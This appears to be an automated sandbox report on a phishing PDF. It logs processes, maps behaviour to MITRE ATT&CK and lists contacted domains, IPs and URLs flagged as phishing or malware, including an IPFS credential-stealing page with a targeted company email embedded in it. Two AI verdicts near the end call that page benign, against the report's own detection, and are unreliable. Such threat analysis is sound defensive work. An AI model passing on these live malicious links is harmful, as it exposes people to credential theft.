Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1612 --field-trial-handle=1580,i,12606758722636301871,14801782710418106230,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2068 --field-trial-handle=2004,i,16712865110461069709,7719260107902575291,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source: 25_May_2024_eSign.pdf	Initial sample: PDF keyword /JS count = 0
Source: 25_May_2024_eSign.pdf	Initial sample: PDF keyword /JavaScript count = 0

Source: 25_May_2024_eSign.pdf

Initial sample: PDF keyword /EmbeddedFile count = 0

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Process information queried: ProcessInformation

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	1 Process Injection	3 Masquerading	OS Credential Dumping	1 Process Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	1 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
www.kooss.com	0%	Virustotal		Browse
google.com	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://maplebearrabat.com/content/cauoaeox/jihu/YWNjb3VudHNyZWNlaXZhYmxlQGFjYWdsb2JhbC5jb20=	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering
http://jquery.org/license	0%	URL Reputation	safe
https://ogs.google.com/widget/app/so?awwd=1	0%	URL Reputation	safe
https://ogs.google.com/widget/app/so?awwd=1	0%	URL Reputation	safe
http://sizzlejs.com/	0%	URL Reputation	safe
http://jsperf.com/getall-vs-sizzle/2	0%	URL Reputation	safe
http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript	0%	URL Reputation	safe
http://schema.org/WebPage	0%	URL Reputation	safe
https://bugs.webkit.org/show_bug.cgi?id=29084	0%	URL Reputation	safe
http://blindsignals.com/index.php/2009/07/jquery-delay/	0%	URL Reputation	safe
http://bugs.jquery.com/ticket/12282#comment:15	0%	URL Reputation	safe
http://dev.w3.org/csswg/cssom/#resolved-values	0%	URL Reputation	safe
https://cloudflare-ipfs.com/favicon.ico	100%	URL Reputation	malware
https://apis.google.com	0%	URL Reputation	safe
https://chrome.cloudflare-dns.com	0%	URL Reputation	safe
http://bugs.jquery.com/ticket/12359	0%	URL Reputation	safe
http://json.org/json2.js	0%	URL Reputation	safe
https://bugzilla.mozilla.org/show_bug.cgi?id=649285	0%	URL Reputation	safe
http://weblogs.java.net/blog/driscoll/archive/2009/09/08/eval-javascript-global-context	0%	URL Reputation	safe
https://developer.mozilla.org/en-US/docs/CSS/display	0%	URL Reputation	safe
https://developer.mozilla.org/en/Security/CSP)	0%	URL Reputation	safe
http://erik.eae.net/archives/2007/07/27/18.54.15/#comment-102291	0%	URL Reputation	safe
http://helpful.knobs-dials.com/index.php/Component_returned_failure_code:_0x80040111_(NS_ERROR_NOT_A	0%	URL Reputation	safe
https://bugzilla.mozilla.org/show_bug.cgi?id=491668	0%	URL Reputation	safe
http://javascript.nwbox.com/IEContentLoaded/	0%	URL Reputation	safe
http://jquery.com/	0%	URL Reputation	safe
https://aea14i7zphg.wqqqqop.shop/static/media/bg_normal.png	100%	Avira URL Cloud	malware
https://aea14i7zphg.wqqqqop.shop/static/media/auth_number.png	100%	Avira URL Cloud	malware
https://cloudflare-ipfs.com/cdn-cgi/phish-bypass?atok=CT7tcRP.LUBFLZgoIYhechJ50z8EjywmGLk7DrAEPUk-1716831012-0.0.1.1-%2Fipfs%2Fbafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2y	0%	Avira URL Cloud	safe
https://maplebearrabat.com/favicon.ico	0%	Avira URL Cloud	safe
https://www.google.com/intl/en/about/products	0%	Avira URL Cloud	safe
https://aea14i7zphg.wqqqqop.shop/static/media/godaddy-left.png	100%	Avira URL Cloud	malware
https://aea14i7zphg.wqqqqop.shop/static/media/2fa_authenticator.png	100%	Avira URL Cloud	malware
https://aea14i7zphg.wqqqqop.shop/static/media/call_2fa.png	100%	Avira URL Cloud	malware
https://www.google.com/intl/en/about/products	0%	Virustotal		Browse
https://aea14i7zphg.wqqqqop.shop/static/media/logo-off-1.png	100%	Avira URL Cloud	malware
https://github.com/jquery/jquery/pull/764	0%	Avira URL Cloud	safe
https://cloudflare-ipfs.com/cdn-cgi/styles/cf.errors.css	0%	Avira URL Cloud	safe
https://aea14i7zphg.wqqqqop.shop/obufsssssssscaaatoion/	100%	Avira URL Cloud	malware
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	0%	Avira URL Cloud	safe
https://cloudflare-ipfs.com/cdn-cgi/styles/cf.errors.css	11%	Virustotal		Browse
https://www.google.com/_/og/promos/	0%	Avira URL Cloud	safe
https://aadcdn.msftauth.net/shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg	0%	Avira URL Cloud	safe
https://aea14i7zphg.wqqqqop.shop/static/media/microsoft_logo.png/	100%	Avira URL Cloud	malware
https://cloudflare-ipfs.com/cdn-cgi/images/icon-exclamation.png?1376755637	100%	Avira URL Cloud	phishing
https://aadcdn.msftauth.net/shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg	0%	Virustotal		Browse
https://www.google.com/_/og/promos/	0%	Virustotal		Browse
https://www.kooss.com/j7.php?url=https://m.exactag.com/ai.aspx?tc=d9047570bc40b07205bbd26a23a8d2e6b6b4f9&url=https://maplebearrabat.com/content/cauoaeox/jihu/YWNjb3VudHNyZWNlaXZhYmxlQGFjYWdsb2JhbC5jb20=	0%	Avira URL Cloud	safe
https://code.jquery.com/jquery-1.9.1.js	0%	Avira URL Cloud	safe
https://ogs.google.com/widget/callout?prid=19037050	0%	Avira URL Cloud	safe
https://github.com/jquery/jquery/pull/764	0%	Virustotal		Browse
https://aea14i7zphg.wqqqqop.shop/static/media/message_think.png	100%	Avira URL Cloud	malware
https://code.jquery.com/jquery-1.9.1.js	1%	Virustotal		Browse
https://pro.ip-api.com/json/?key=pD3jjrEbn4o2CQ1	0%	Avira URL Cloud	safe
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	0%	Virustotal		Browse
https://aea14i7zphg.wqqqqop.shop/static/media/key_workshcool.png	100%	Avira URL Cloud	malware
https://aea14i7zphg.wqqqqop.shop/static/media/person_office.png	100%	Avira URL Cloud	malware
https://www.google.com/	0%	Avira URL Cloud	safe
https://pro.ip-api.com/json/?key=pD3jjrEbn4o2CQ1	1%	Virustotal		Browse
https://aea14i7zphg.wqqqqop.shop/static/media/person_workshcool.png	100%	Avira URL Cloud	malware
https://cloudflare-ipfs.com/cdn-cgi/images/icon-exclamation.png?1376755637	11%	Virustotal		Browse
https://www.google.com/	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.kooss.com	140.227.127.195	true	false	0%, Virustotal, Browse	unknown
google.com	142.250.186.142	true	false	1%, Virustotal, Browse	unknown
cs1100.wpc.omegacdn.net	152.199.23.37	true	false		unknown
maplebearrabat.com	50.87.153.121	true	false		unknown
code.jquery.com	151.101.194.137	true	false		unknown
cdnjs.cloudflare.com	104.17.25.14	true	false		unknown
pro.ip-api.com	51.77.64.70	true	false		unknown
aea14i7zphg.wqqqqop.shop	104.21.96.107	true	false		unknown
cloudflare-ipfs.com	104.17.96.13	true	true		unknown
www.google.com	142.250.186.68	true	false		unknown
aadcdn.msftauth.net	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://maplebearrabat.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://cloudflare-ipfs.com/cdn-cgi/phish-bypass?atok=CT7tcRP.LUBFLZgoIYhechJ50z8EjywmGLk7DrAEPUk-1716831012-0.0.1.1-%2Fipfs%2Fbafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2y	false	Avira URL Cloud: safe	unknown
https://aea14i7zphg.wqqqqop.shop/static/media/bg_normal.png	false	Avira URL Cloud: malware	unknown
https://aea14i7zphg.wqqqqop.shop/static/media/auth_number.png	false	Avira URL Cloud: malware	unknown
https://aea14i7zphg.wqqqqop.shop/static/media/godaddy-left.png	false	Avira URL Cloud: malware	unknown
https://maplebearrabat.com/content/cauoaeox/jihu/YWNjb3VudHNyZWNlaXZhYmxlQGFjYWdsb2JhbC5jb20=	true	SlashNext: Credential Stealing type: Phishing & Social Engineering	unknown
https://aea14i7zphg.wqqqqop.shop/static/media/2fa_authenticator.png	false	Avira URL Cloud: malware	unknown
https://cloudflare-ipfs.com/favicon.ico	false	URL Reputation: malware	unknown
https://aea14i7zphg.wqqqqop.shop/static/media/call_2fa.png	false	Avira URL Cloud: malware	unknown
https://cloudflare-ipfs.com/ipfs/bafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2y	true		unknown
https://aea14i7zphg.wqqqqop.shop/static/media/logo-off-1.png	false	Avira URL Cloud: malware	unknown
https://cloudflare-ipfs.com/cdn-cgi/styles/cf.errors.css	false	11%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://aea14i7zphg.wqqqqop.shop/obufsssssssscaaatoion/	false	Avira URL Cloud: malware	unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://aadcdn.msftauth.net/shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://aea14i7zphg.wqqqqop.shop/static/media/microsoft_logo.png/	false	Avira URL Cloud: malware	unknown
https://cloudflare-ipfs.com/cdn-cgi/images/icon-exclamation.png?1376755637	false	11%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://www.kooss.com/j7.php?url=https://m.exactag.com/ai.aspx?tc=d9047570bc40b07205bbd26a23a8d2e6b6b4f9&url=https://maplebearrabat.com/content/cauoaeox/jihu/YWNjb3VudHNyZWNlaXZhYmxlQGFjYWdsb2JhbC5jb20=	false	Avira URL Cloud: safe	unknown
https://cloudflare-ipfs.com/ipfs/bafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2y#accountsreceivable@acaglobal.com	false		unknown
https://code.jquery.com/jquery-1.9.1.js	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://aea14i7zphg.wqqqqop.shop/static/media/message_think.png	false	Avira URL Cloud: malware	unknown
https://pro.ip-api.com/json/?key=pD3jjrEbn4o2CQ1	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://aea14i7zphg.wqqqqop.shop/static/media/key_workshcool.png	false	Avira URL Cloud: malware	unknown
https://aea14i7zphg.wqqqqop.shop/static/media/person_office.png	false	Avira URL Cloud: malware	unknown
https://www.google.com/	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://aea14i7zphg.wqqqqop.shop/static/media/person_workshcool.png	false	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://jquery.org/license	chromecache_185.5.dr	false	URL Reputation: safe	unknown
https://ogs.google.com/widget/app/so?awwd=1	chromecache_200.5.dr	false	URL Reputation: safe URL Reputation: safe	unknown
http://sizzlejs.com/	chromecache_185.5.dr	false	URL Reputation: safe	unknown
https://www.google.com/intl/en/about/products	chromecache_200.5.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://jsperf.com/getall-vs-sizzle/2	chromecache_185.5.dr	false	URL Reputation: safe	unknown
http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript	chromecache_185.5.dr	false	URL Reputation: safe	unknown
http://schema.org/WebPage	chromecache_200.5.dr	false	URL Reputation: safe	unknown
https://bugs.webkit.org/show_bug.cgi?id=29084	chromecache_185.5.dr	false	URL Reputation: safe	unknown
http://blindsignals.com/index.php/2009/07/jquery-delay/	chromecache_185.5.dr	false	URL Reputation: safe	unknown
http://bugs.jquery.com/ticket/12282#comment:15	chromecache_185.5.dr	false	URL Reputation: safe	unknown
http://dev.w3.org/csswg/cssom/#resolved-values	chromecache_185.5.dr	false	URL Reputation: safe	unknown
https://apis.google.com	chromecache_200.5.dr	false	URL Reputation: safe	unknown
https://github.com/jquery/jquery/pull/764	chromecache_185.5.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://chrome.cloudflare-dns.com	800cdb10-a2d4-4d35-9dd5-f3647155a75a.tmp.3.dr, 740d5b8c-cc1f-4a93-94ce-f78452bfeba8.tmp.3.dr	false	URL Reputation: safe	unknown
http://bugs.jquery.com/ticket/12359	chromecache_185.5.dr	false	URL Reputation: safe	unknown
http://json.org/json2.js	chromecache_185.5.dr	false	URL Reputation: safe	unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=649285	chromecache_185.5.dr	false	URL Reputation: safe	unknown
https://www.google.com/_/og/promos/	chromecache_200.5.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://weblogs.java.net/blog/driscoll/archive/2009/09/08/eval-javascript-global-context	chromecache_185.5.dr	false	URL Reputation: safe	unknown
https://developer.mozilla.org/en-US/docs/CSS/display	chromecache_185.5.dr	false	URL Reputation: safe	unknown
https://ogs.google.com/widget/callout?prid=19037050	chromecache_200.5.dr	false	Avira URL Cloud: safe	unknown
https://developer.mozilla.org/en/Security/CSP)	chromecache_185.5.dr	false	URL Reputation: safe	unknown
http://erik.eae.net/archives/2007/07/27/18.54.15/#comment-102291	chromecache_185.5.dr	false	URL Reputation: safe	unknown
http://helpful.knobs-dials.com/index.php/Component_returned_failure_code:_0x80040111_(NS_ERROR_NOT_A	chromecache_185.5.dr	false	URL Reputation: safe	unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=491668	chromecache_185.5.dr	false	URL Reputation: safe	unknown
http://javascript.nwbox.com/IEContentLoaded/	chromecache_185.5.dr	false	URL Reputation: safe	unknown
http://jquery.com/	chromecache_185.5.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.17.96.13	cloudflare-ipfs.com	United States	13335	CLOUDFLARENETUS	true
142.250.186.68	www.google.com	United States	15169	GOOGLEUS	false
104.21.96.107	aea14i7zphg.wqqqqop.shop	United States	13335	CLOUDFLARENETUS	false
51.77.64.70	pro.ip-api.com	France	16276	OVHFR	false
151.101.194.137	code.jquery.com	United States	54113	FASTLYUS	false
172.217.18.4	unknown	United States	15169	GOOGLEUS	false
140.227.127.195	www.kooss.com	Japan	2514	INFOSPHERENTTPCCommunicationsIncJP	false
23.47.168.24	unknown	United States	16625	AKAMAI-ASUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
152.199.23.37	cs1100.wpc.omegacdn.net	United States	15133	EDGECASTUS	false
50.87.153.121	maplebearrabat.com	United States	46606	UNIFIEDLAYER-AS-1US	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1448095
Start date and time:	2024-05-27 19:29:38 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	25_May_2024_eSign.pdf
Detection:	MAL
Classification:	mal100.phis.winPDF@31/107@32/13
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .pdf

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.99, 142.250.186.142, 64.233.184.84, 34.104.35.123, 184.28.88.176, 52.5.13.197, 23.22.254.206, 52.202.204.11, 54.227.187.23, 162.159.61.3, 172.64.41.3, 93.184.221.240, 2.16.241.7, 2.16.241.15, 2.16.164.59, 2.16.164.35, 2.16.164.24, 2.16.164.27, 2.16.164.40, 2.16.164.26, 2.16.164.33, 2.16.164.19, 2.16.164.56, 2.16.164.17, 2.16.164.48, 2.16.164.18, 2.16.164.83, 2.16.164.66, 2.16.164.121, 2.16.164.65, 2.16.164.73, 2.16.164.74, 2.16.164.96, 2.16.164.98, 2.16.164.90, 2.16.164.114, 2.19.126.142, 2.19.126.143, 216.58.206.42, 142.250.185.170, 142.250.185.106, 172.217.18.10, 172.217.16.202, 216.58.206.74, 142.250.185.138, 142.250.186.106, 142.250.184.202, 142.250.185.234, 142.250.186.170, 216.58.212.138, 142.250.185.74, 142.250.186.138, 172.217.23.106, 216.58.212.170, 142.250.185.174, 142.250.186.110, 142.250.185.163
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, slscr.update.microsoft.com, clientservices.googleapis.com, wu.azureedge.net, acroipm2.adobe.com, a1952.dscq.akamai.net, clients2.google.com, redirector.gvt1.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, hlb.apr-52dd2-0.edgecastdns.net, update.googleapis.com, wu-b-net.trafficmanager.net, apps.identrust.com, clients1.google.com, fs.microsoft.com, identrust.edgesuite.net, accounts.google.com, content-autofill.googleapis.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, wu.ec.azureedge.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, clients.l.google.com, geo2.adobe.com
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information

Simulations

Behavior and APIs

Time	Type	Description
13:30:18	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

QR Codes

Source	URL
Screenshot	https://www.kooss.com/j7.php?url=https://m.exactag.com/ai.aspx?tc=d9047570bc40b07205bbd26a23a8d2e6b6b4f9&url=https://maplebearrabat.com/content/cauoaeox/jihu/YWNjb3VudHNyZWNlaXZhYmxlQGFjYWdsb2JhbC5jb20=
Screenshot	https://www.kooss.com/j7.php?url=https://m.exactag.com/ai.aspx?tc=d9047570bc40b07205bbd26a23a8d2e6b6b4f9&url=https://maplebearrabat.com/content/cauoaeox/jihu/YWNjb3VudHNyZWNlaXZhYmxlQGFjYWdsb2JhbC5jb20=

LLM Input / Output

Input	Output
URL: https://cloudflare-ipfs.com/ipfs/bafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2y#accountsreceivable@acaglobal.com Model: Perplexity: mixtral-8x7b-instruct	{ "loginform": false, "reasons": [ "The text does not contain any input fields for a login form such as 'username' or 'password'.", "The text contains a warning about potential phishing, which is not related to a login form.", "The text contains a reference to Cloudflare, which is a security company, indicating that the website may have additional security measures in place." ] }
O Warning Suspected Phishing This website has been reported for potential phishing. Phishing is when a site attempts to steal sensitive information by falsely presenting as a safe source. Leam More Ignore & Proceed Cloudflare Ray 10: 88a7bb4238f5c440 Your 'P: Click ta reveal Performance & security by Cloudflare
URL: https://cloudflare-ipfs.com/ipfs/bafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2y#accountsreceivable@acaglobal.com Model: gpt-4o	```json { "riskscore": 1, "reasons": "The provided JavaScript code appears to manipulate the DOM to reveal or hide certain elements based on user interaction. It does not exhibit any behavior typically associated with malicious activities such as data exfiltration, credential stealing, or unauthorized access. The risk score is set to 1 due to the minimal potential for misuse in specific contexts, but overall, it seems benign." }
